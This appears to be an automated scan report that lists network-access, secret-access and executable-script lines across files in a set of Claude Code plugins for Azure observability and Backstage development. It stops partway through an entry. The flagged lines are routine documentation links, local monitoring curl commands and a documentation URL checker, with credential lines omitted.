harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md
- Network accessline 9
1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 10
2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 80
- [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide) - Network accessline 81
- [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide) - Network accessline 82
- [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas) - Network accessline 83
- [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas) - Network accessline 84
- [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot) - Network accessline 85
- [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot) - Network accessline 86
- [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow) - Network accessline 87
- [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)
harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack/SKILL.md
- Network accessline 36
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 37
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 84
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 85
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 88
[Credential-related source omitted] - Network accessline 90
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 103
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 104
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 106
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 107
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 119
[Credential-related source omitted] - Network accessline 121
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 129
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 130
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/configure-health-probes.md
- Network accessline 27
3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it - Network accessline 29
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/configure-multi-region.md
- Network accessline 276
output endpoint string = 'https://${endpoint.properties.hostName}' - Access to secretsline 441
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Access to secretsline 464
[Credential-related source omitted] - Access to secretsline 467
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Network accessline 563
# Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health - Network accessline 564
curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/health-probe-checks.md
- Network accessline 68
3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r - Network accessline 70
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/services/app-service/reliability.md
- Network accessline 59
# Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \ --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version= - Network accessline 60
az rest --method patch --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" - Network accessline 61
--uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/services/functions/reliability.md
- Network accessline 197
- [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)
harness/claude-code/plugins/backlog-swipe-triage/.claude-plugin/plugin.json
harness/claude-code/plugins/backrooms-canvas/.claude-plugin/plugin.json
harness/claude-code/plugins/backstage-expert/.claude-plugin/plugin.json
- Network accessline 6
"name": "Copilot Primitives Maintainers" }, "homepage": "https://backstage.io/", - Network accessline 7
}, "homepage": "https://backstage.io/", "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 8
"homepage": "https://backstage.io/", - Network accessline 9
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 648
- [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating) - Network accessline 649
- [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index) - Network accessline 650
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 651
- [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-ai-catalog/SKILL.md
- Network accessline 64
- [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-authentication/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog-db-performance/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/references/azure-devops.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/references/github.md
- Network accessline 27
First-party source: <https://backstage.io/docs/integrations/github/github-apps>.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/references/servicenow.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-framework/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-kubernetes/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-mcp-actions/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-notifications/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-permissions/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-search/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit/scripts/install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit/scripts/test_install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/references/upstream/SKILL.md
harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/references/upstream/SKILL.md
- Network accessline 76
- [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference. - Network accessline 77
- [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse. - Network accessline 78
- [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints. - Network accessline 145
[`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example. - Network accessline 178
[`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like. - Network accessline 202
[`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git - Network accessline 216
These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below. - Network accessline 218
| What you need | Where to read | | ---------- - Network accessline 219
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp - Network accessline 220
| Spec example (small) | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) | - Network accessline 221
| Spec example (large) | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) | - Network accessline 222
| Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) | - Network accessline 223
| Test using `wrapServer` | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) | - Network accessline 224
| Generate command source | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) | - Network accessline 225
| Spec lint command source | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts) | - Network accessline 226
| `wrapServer` implementation | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts) | - Network accessline 227
| Client output reference | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) |
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 122
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 550
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 551
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 552
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md
- Network accessline 56
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 425
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 426
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 427
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 648
- [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating) - Network accessline 649
- [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index) - Network accessline 650
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 651
- [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)
harness/claude-code/plugins/backstage-expert/skills/backstage-ai-catalog/SKILL.md
- Network accessline 69
- [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
harness/claude-code/plugins/backstage-expert/skills/backstage-ai/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-app/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-auth/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-authentication/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-catalog-db-performance/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/references/azure-devops.md
harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/references/github.md
- Network accessline 27
First-party source: <https://backstage.io/docs/integrations/github/github-apps>.
harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/references/servicenow.md
harness/claude-code/plugins/backstage-expert/skills/backstage-framework/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-integrations/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-kubernetes/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-mcp-actions/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-notifications/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-permissions/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/claude-code/plugins/backstage-expert/skills/backstage-plugins/SKILL.md
- Network accessline 63
- [New frontend plugin system](https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md) - Network accessline 64
- [New backend plugins and modules](https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md)
harness/claude-code/plugins/backstage-expert/skills/backstage-search/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/test_install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream/SKILL.md
harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream/SKILL.md
- Network accessline 76
- [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference. - Network accessline 77
- [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse. - Network accessline 78
- [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints. - Network accessline 145
[`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example. - Network accessline 178
[`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like. - Network accessline 202
[`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git - Network accessline 216
These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below. - Network accessline 218
| What you need | Where to read | | ---------- - Network accessline 219
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp - Network accessline 220
| Spec example (small) | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) | - Network accessline 221
| Spec example (large) | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) | - Network accessline 222
| Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) | - Network accessline 223
| Test using `wrapServer` | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) | - Network accessline 224
| Generate command source | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) | - Network accessline 225
| Spec lint command source | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts) | - Network accessline 226
| `wrapServer` implementation | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts) | - Network accessline 227
| Client output reference | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) |
harness/claude-code/plugins/backstage-expert/skills/plugin-analytics-instrumentation/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 122
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 550
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 551
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 552
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md
- Network accessline 56
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 425
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 426
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 427
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/career-productivity/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
